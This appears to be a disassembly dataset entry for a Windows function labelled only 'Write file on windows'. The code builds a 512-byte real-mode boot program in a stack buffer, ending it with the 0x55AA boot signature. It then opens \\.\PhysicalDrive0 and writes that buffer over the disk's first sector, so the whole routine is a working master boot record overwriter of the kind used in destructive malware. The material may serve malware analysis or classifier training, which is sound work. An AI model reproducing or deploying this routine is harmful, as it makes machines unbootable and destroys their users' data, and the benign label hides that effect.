Function at 0x402100
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov eax, dword [0x421014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x1d4], 0xe80003e8
mov dword [ebp - 0x1d0], 0xb40021
mov dword [ebp - 0x1cc], 0x10cd13b0
mov dword [ebp - 0x1c8], 0x7a00068
mov dword [ebp - 0x1c4], 0xc0300cb4
mov dword [ebp - 0x1c0], 0xc931db31
mov dword [ebp - 0x1bc], 0xdb0008ba
mov dword [ebp - 0x1b8], 0xc931c3e3
mov dword [ebp - 0x1b4], 0xff0008ba
mov dword [ebp - 0x1b0], 0x897d5806
mov dword [ebp - 0x1ac], 0x897d5a0e
mov dword [ebp - 0x1a8], 0x817d5c16
mov dword [ebp - 0x1a4], 0xf17d583e
mov dword [ebp - 0x1a0], 0x1870f06
mov dword [ebp - 0x19c], 0x583e8101
mov dword [ebp - 0x198], 0xf03a87d
mov dword [ebp - 0x194], 0x8100e287
mov dword [ebp - 0x190], 0xa87d583e
mov dword [ebp - 0x18c], 0xc3870f02
mov dword [ebp - 0x188], 0x583e8100
mov dword [ebp - 0x184], 0xf02007d
mov dword [ebp - 0x180], 0x8100a387
mov dword [ebp - 0x17c], 0xae7d583e
mov dword [ebp - 0x178], 0x84870f01
mov dword [ebp - 0x174], 0x583e8100
mov dword [ebp - 0x170], 0x7702bc7d
mov dword [ebp - 0x16c], 0x583e8166
mov dword [ebp - 0x168], 0x7701007d
mov dword [ebp - 0x164], 0x583e834b
mov dword [ebp - 0x160], 0x2d773c7d
mov dword [ebp - 0x15c], 0xf9811472
mov dword [ebp - 0x158], 0x830f0140
mov dword [ebp - 0x154], 0xfa8100d0
mov dword [ebp - 0x150], 0x967300c8
mov dword [ebp - 0x14c], 0xeb4110cd
mov dword [ebp - 0x148], 0xcb89c39a
mov dword [ebp - 0x144], 0xd888d331
mov dword [ebp - 0x140], 0x207e8c0
mov dword [ebp - 0x13c], 0xc07d5806
mov dword [ebp - 0x138], 0xcb404e8
mov dword [ebp - 0x134], 0x9ae910cd
mov dword [ebp - 0x130], 0x31cb8900
mov dword [ebp - 0x12c], 0xc0d888d3
mov dword [ebp - 0x128], 0x60203e8
mov dword [ebp - 0x124], 0xe8c07d58
mov dword [ebp - 0x120], 0xcd0cb403
mov dword [ebp - 0x11c], 0x83e910
mov dword [ebp - 0x118], 0xd3f7cb89
mov dword [ebp - 0x114], 0x1e02d321
mov dword [ebp - 0x110], 0xd8887d58
mov dword [ebp - 0x10c], 0xf604e8c0
mov dword [ebp - 0x108], 0x8970ebd0
mov dword [ebp - 0x104], 0x88d331cb
mov dword [ebp - 0x100], 0x5e8c0d8
mov dword [ebp - 0xfc], 0x7d580602
mov dword [ebp - 0xf8], 0xb407e8c0
mov dword [ebp - 0xf4], 0xeb10cd0c
mov dword [ebp - 0xf0], 0x31cb895a
mov dword [ebp - 0xec], 0xd0d888d3
mov dword [ebp - 0xe8], 0x580602e8
mov dword [ebp - 0xe4], 0x3e8c07d
mov dword [ebp - 0xe0], 0x10cd0cb4
mov dword [ebp - 0xdc], 0xcb8945eb
mov dword [ebp - 0xd8], 0xd888d331
mov dword [ebp - 0xd4], 0x204e8c0
mov dword [ebp - 0xd0], 0xc07d5806
mov dword [ebp - 0xcc], 0xcb405e8
mov dword [ebp - 0xc8], 0x2feb10cd
mov dword [ebp - 0xc4], 0xd331cb89
mov dword [ebp - 0xc0], 0xe8c0d888
mov dword [ebp - 0xbc], 0x58060202
mov dword [ebp - 0xb8], 0xb4e8d07d
mov dword [ebp - 0xb4], 0xeb10cd0c
mov dword [ebp - 0xb0], 0x31cb891a
mov dword [ebp - 0xac], 0xd0d888d3
mov dword [ebp - 0xa8], 0x580602e8
mov dword [ebp - 0xa4], 0x2e8c07d
mov dword [ebp - 0xa0], 0x10cd0cb4
mov dword [ebp - 0x9c], 0x3b805eb
mov dword [ebp - 0x98], 0x3c19cd00
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push str..PhysicalDrive0
mov dword [ebp - 0x94], 0x3c077737
mov dword [ebp - 0x90], 0xe9077220
mov dword [ebp - 0x8c], 0x102cff30
mov dword [ebp - 0x88], 0x2004f1eb
mov dword [ebp - 0x84], 0xc931edeb
mov dword [ebp - 0x80], 0xfecfe942
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], 0
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov word [ebp - 8], 0x5500
mov byte [ebp - 6], 0xaa
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
lea eax, [ebp - 0x1d8]
push 0
push eax
push 0x200
lea eax, [ebp - 0x1d4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00406e47
mov esp, ebp
pop ebp
ret